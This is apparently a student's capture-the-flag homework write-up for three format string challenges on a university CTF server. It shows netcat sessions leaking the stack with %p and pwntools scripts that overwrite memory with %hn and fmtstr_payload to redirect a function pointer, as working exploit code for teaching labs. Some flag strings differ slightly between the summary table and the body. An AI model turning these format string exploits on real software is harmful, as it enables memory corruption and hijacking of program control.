

HOMEWORK 8

~ Purva Naresh Rumde (pr23)

Problem ID	Captured Flag	Steps
P1	fsuCTF{JuUUuuU57_r11111111GH7}	In this problem, since it was a format string vulnerability I gave the %p to every function but the output for 3 rd function was the one where I got the flag after putting it in cyberchef I got the flag
P2	fsuCTF{I_W45_9oin9_to_m4K3_4_H3roIN_joK3_8uT_Th4T5_poppY_:(}	In this problem I wrote a python program script exploits a format string vulnerability in a remote service by crafting a payload to overwrite a target variable with a desired value. It calculates the address and value to write, establishes a connection to the remote service, sends the payload, receives and prints the response, and then closes the connection.
P3	fsuCTF{b3w4r3_pr1ntf_w1th0ut_ch3ck1ng_1nput}	In this problem I first tried by putting %p but it didn't work so then I tried with a python program and that is how I retrieved the flag.

In this problem I figured out that it is a format string vulnerability after looking at the code as the `printf(output)` consisted of a vulnerability so I exploited it with putting `%p`.

I tried that for all the functions but the 3rd function seemed different than other two. So then I copied that output and pasted it on cyberchef. After multiple attempts I later figured the flag by applying swapping Endianess and increasing the bytes to 8 and then later applying the from hex conversion to get the flag.

Flag: **fsuCTF{JuUUuuuU57_r1111111GH7}**

```
(kali㉿kali)-[~/P]
$ nc ctf.cs.fsu.edu 20000
Choose a function to execute (1-3): 1
Enter your input for Function 1: %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x12566b10xfbad22880x12566db(nil)(nil)(nil)0x1256ac00x646c6f63206f6f54(nil)(nil)(nil)(nil)(nil)(nil)0x70257025702570250
x70257025702570250x70257025702570250x7025702570250x7025702570250x7025702570250xa7025

(kali㉿kali)-[~/P]
$ nc ctf.cs.fsu.edu 20000
Choose a function to execute (1-3): 2
Enter your input for Function 2: %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x16376b10xfbad22880x16376db(nil)(nil)(nil)0x1637ac00x746f68206f6f54(nil)(nil)(nil)(nil)(nil)(nil)0x70257025702570250x7
0257025702570250x70257025702570250x7025702570250x7025702570250x7025702570250xa7025

(kali㉿kali)-[~/P]
$ nc ctf.cs.fsu.edu 20000
Choose a function to execute (1-3): 3
Enter your input for Function 3: %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x14b76b10xfbad22880x14b76db(nil)(nil)0x20x14b7ac00x4a7b4654437573660x3555575755555750x3131313131725f370x7d37484731313131(n
il)(nil)(nil)(nil)0x70257025702570250x70257025702570250x7025702570250x7025702570250x7025702570250x7025702570250xa7025

(kali㉿kali)-[~/P]
$
```

[illegible]

2.

In this problem I wrote a python script

This code is exploiting a format string vulnerability in a remote service. It calculates the absolute address of a variable (`address`) based on a known offset (`offset`) and base address (`base_addr`). Then, it constructs a payload to overwrite the target variable's lower two bytes with a specific value (`0xbeef`). The payload consists of a format string specifier to write a specific number of characters (`numprint`) followed by the address in little-endian format. After sending the payload to the remote service and receiving the response, it prints the response, likely containing the flag. Finally, it closes the connection to the remote service.

The script exploits the format string vulnerability to overwrite the target variable's value with 0xbeef, potentially leading to arbitrary code execution or other exploits depending on the context of the binary.

Flag: **fsuCTF{I_W45_9oin9_to_m4K3_4_H3roIN_joK3_8uT_Th4T5_poppY_:}**

Code:

```
from pwn import *

offset = 0x144A

base_addr = 0x555555554000

address = base_addr + offset

value = 0xbeef

numprint = value & 0xffff

io = remote('ctf.cs.fsu.edu', 20001)

payload = f"%{numprint}c%7$hn".encode()

payload += p64(address)

io.sendline(payload)

response = io.recvall()

print(response)

io.close()
```

```
Network
\x80JTUUUUYou managed to deceive the robot, here's your new identity: fsuCTF{I_W45_
9oin9_to_m4K3_4_H3roIN_joK3_8uT_Th4T5_poppY_:}\n"
(kali@kali)~[~/P]
$
```

In this problem I first tried with the problem 1 method but it didn't seem to work for me, but I figured out that the exploitation was un 2nd option that is Create new Users. Since in the C file `printf(username)` was the leaking point. So I wrote a python script to get the flag.

Flag: **fsuCTF{b3w4r3_pr1ntf_w1th0ut_ch3ck1ng_1nput}**

[illegible]

```
from pwn import *

p = remote("ctf.cs.fsu.edu", 20002)

exe = context.binary = ELF('formatstring')

win = exe.symbols['win']

fp = exe.symbols['fp']

payload = fmtstr_payload(8, {fp: win}, write_size='short')

p.sendline(b'2')

p.recvuntil(b'Enter a username: ')

p.sendline(payload)

p.recvuntil(b'Enter a password: ')

p.sendline(b'password')
```

```
print(p.recvuntil(b'}'))
```

```
w4r3_printf_w1th0ut_ch3ck1ng_1nput}'  
[*] Closed connection to ctf.cs.fsu.edu port 20002
```

\xe5

\x00\x04@fsuCTF{b3

```
(kali@kali)-[~/P]  
$
```